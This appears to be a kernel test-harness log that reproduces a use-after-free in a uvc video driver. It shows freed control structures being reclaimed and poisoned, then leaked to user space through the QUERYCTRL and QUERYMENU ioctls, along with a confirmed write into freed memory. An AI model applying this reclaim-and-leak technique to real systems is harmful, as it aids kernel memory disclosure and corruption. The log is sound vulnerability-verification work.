HAMMER2: INITIATE SPANs
swap low/high-water marks set to 41940/62910
HARNESS: loaded (real uvc sources compiled in)
HARNESS: graph: ctrl=0xfffff8008dac57f8 node=0xfffff8008d520570 controls=0xfffff80116eb8fa0 controls_num=2 ctrl0(AE)=0xfffff80116eb8fa0 sub=0xfffff8008da44e88 menu=0xfffff8008d520600 | ctrl1(PT)=0xfffff80116eb9058 sub0=0xfffff8008da44ee0 sub1=0xfffff8008da44f38
HARNESS DF-5378[baseline]: ret=0 name=<Tilt (Absolute)> (expect 0 / 'Tilt (Absolute)')
HARNESS DF-5378: snapshotted 11 chunks in production free order (sub_AE, menu, uvcdata_AE, subP0, subP1, uvcdata_PT, mask, node_info, controls[2], node, ctrl)
HARNESS DF-5378: production uvc_drv_destroy_ctrl() done - graph freed, video->ctrl=0xfffff8008dac57f8 now DANGLING (cdev not yet destroyed)
HARNESS DF-5378: all 11 freed chunks reclaimed at their original addresses
HARNESS DF-5378: poisoned reclaimed chunks: PT.sub1->v4l2_name=0x5A*32, AE.sub->v4l2_name=0x5B*32, controls[1].cached_sub_info_idx=0xAA (offset 152)
HARNESS DF-5378[UAF query]: ret=0 name_len=31
HARNESS q.name (user-visible via VIDIOC_QUERYCTRL):
  5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a
  5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 5a 00
HARNESS DF-5378: *** UAF READ/LEAK CONFIRMED: 31 bytes of attacker-marked FREED-chunk content copied into the user-visible queryctrl.name ***
HARNESS DF-5378: *** UAF WRITE CONFIRMED: uvc_ctrls.c:1065 wrote cached_sub_info_idx=1 into the freed-and-reclaimed controls[1] chunk (was 0xAA) ***
HARNESS DF-5378[UAF menu]: ret=0
HARNESS qm.name (user-visible via VIDIOC_QUERYMENU):
  5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b
  5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 5b 00
HARNESS DF-5378: *** QUERYMENU disclosure confirmed (strlcpy from freed sub_info at uvc_ctrls.c:1150) ***
HARNESS LEAKSAMPLE-QUERYCTRL 5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a00
HARNESS LEAKSAMPLE-QUERYMENU 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b00
HARNESS DF-5378: mode 1 done, guest should stay up